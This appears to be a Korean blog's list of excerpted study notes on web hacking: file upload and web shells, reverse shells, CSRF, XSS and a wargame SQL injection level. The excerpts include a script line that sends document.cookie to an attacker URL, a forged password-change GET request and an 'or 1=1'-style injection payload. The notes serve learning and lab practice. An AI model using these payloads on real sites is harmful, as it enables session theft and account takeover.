File Upload File Upload 취약점이란 공격자가 임의의 파일을 업로드 할 수 있는 공격입니다. 개인 웹서버의 게시판에 파일을 업로드 해보겠습니다. 게시판을 만들 때 파일 업로드 취약점 대응방안을 조치 안했기 때문에 .php 파일이 업로드가 됩니다. 해당 웹쉘 파일에는 한 줄 웹쉘이 들어가 있는 웹 쉘 파일을 업로드 했습니다. 파일 다운로드 경로가 노출 되있어서 바로 웹쉘을 실행했습니다. ls 명령어를 입력하니 upload 된 파일들이 나옵니다. 하지만 명령어를 입력하는게 많이 불편합니다. 전에 명령어를 기억 못하기 때문에 실제 환경과는 많이 다릅니다. 실제 환경처럼 조작하기 위해서 Reverse Shell을 해보도록 하겠습니다. Reverse Shell 리버스쉘은 클라이언트(공격자)가 리스..
File Upload what : 공격자가 임의의 파일을 업로드 할 수 있는 공격 → 웹 쉘 → 서버 장악 ** Point 1. 우리가 웹 서버에서 실행할 수 있는 파일 2. 실행할 수 있어야 한다. → 업로드 된 파일의 위치를 알아야 한다. 파일의 위치 아는 법 1. 내가 올린 파일을 다운로드 받아본다. 우클릭 이미지 경로 복사 2. 개발자 도구 3. Burp Suite 확인(img 옵션 체크!) 다운로드 할 수 없다면 1. SQL Injection 2. HTML 소스코드 주석 살펴보기 web shell로 무엇을 하나? ** 소스코드 탈취 → 취약점 찾기 위해서도 있지만 DB를 탈취하기 위해서 DB 계정 정보가 소스코드 안에 있다. ** Reverse Shell Bypass Trick 1. Conten..
CSRF - CSRF 공격 → 서버 측 공격 - XSS 공격 다른거에요? → 클라이언트 측 공격 - where → 모든 요청. 공격 기법 (1) GET Method → URL 만들어서 클릭유도. → 로그인 한 다음에 볼 수 있는 페이지. (2) POST MEthod → 무조건 XSS -> 같은 도메인에서. 왜 꼭 같은 도메인?! -> 세션을 이용하기 위해서! (3) Referer Bypass → meta (4) CSRF Token → 요청을 위조 할 수 있다. → XSS : Bypass 가능. 대응 방안 (1) 지키고자하는 요청에서 인증정보 추가. (2) 게시판 - Referer Check, CSRF Token - captcha 목적 : 자동화 공격을 막기 위해서. SSRF Server Side Requ..
XSS와 CSRF의 차이 XSS와 CSRF는 사용자의 브라우저를 대상으로 한다는 공통점이 있습니다. 하지만 CSRF는 사용자의 인증된 세션을 악용하는 공격 방식이고 XSS는 인증된 세션 없이도 공격을 진행할 수 있다는 차이점이 있습니다. XSS는 사용자가 특정 사이트를 신뢰한다는 사실을 이용한 공격 방식이지만, CSRF는 웹 애플리케이션이 인증된 사용자의 요청을 신뢰한다는 사실을 이용한 공격 방식입니다. 또한 XSS는 사용자에서 스크립트가 실행되지만 CSRF는 서버에서 스크립트가 실행된다는 차이점이 있습니다. 마지막으로 크로스 사이트 스크립팅과 크로스 사이트 요청 위조의 목적에도 차이가 있습니다. XSS는 사용자 PC에서 스크립트를 실행해 사용자의 정보를 탈취하는 것을 목적으로 하는 반면, CSRF는 요..
CSRF(Cross Site Request Forgery) * 피해자의 세션을 활용. 발생하는 곳 → 게시판,메일함 등 * 어디서 발생하는가? → 모든 요청에서 발생하지만 민감한 요청을 구별해야한다. ex) 비밀번호 변경, 이메일주소 변경. 관리자 계정 등록... [1] GET Method http://url?id=&info=&pw=1111 get 요청으로 비밀번호 1111로 변경. [2] POST Method → XSS 취약점을 활용 XSS → 클라이언트 측 브라우저에서 실행되는 스크립트를 삽입하는 공격 CSRF → 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로 임의의 요청을 하게 만드는 공격 Why? CSRF에 POST Method를 전송할려면 tag 필요. [3] Referer Check?..
XSS(Cross Site Script) XSS(클라이언트 사이드 취약점)은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다. 해당 종류의 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다. Server vs Client → 서버에서 실행되는 코드 → 클라이언트 측에서 실행되는 코드(웹 브라우저) HTML, css, javascript WEB Request var i = new Image(); i.src = "attack URL?cookie=" + document.cookie; → 클라이언트 측 코드를 삽입하는 공격 → 피해자 컴퓨터 (웹 브라우저) 실행되게 만드는 공격 → 클라이언트는 이미지를 불러오는 과정에서 javascript ..
query를 보면 id는 'admin'으로 고정되어 있고 pw를 입력해서 admin으로 로그인하는 문제다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); prob _ . ( ) 가 필터링 되어있다. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); admin으로 로그인하면 끝이 아니라 입력한 pw 가 DB의 'admin'의 pw값과 같아야 flag 값을 획득할 수 있는 것 같다. 먼저 공격 포맷을 만들기 위해서 쿼리 확인을 해보겠다. ?pw=1' or '1'='1' and '1'='1 참/거짓으로 쿼리를 만들어서 삽입해보니 admin으로 로그인이 됬다. 해당 ..
Reflected XSS Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 대표적으로 게시판 서비스의 검색창에서 스크립트를 포함해 검색하는 방식이 있다. 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다. Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생. 따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 한다. 사회공학기법이 요구된다. ex) 스미싱 GET 방식으로 되어야 한다. 모든 페이지. 모든 파라미터에서 일어날 수 있다. ..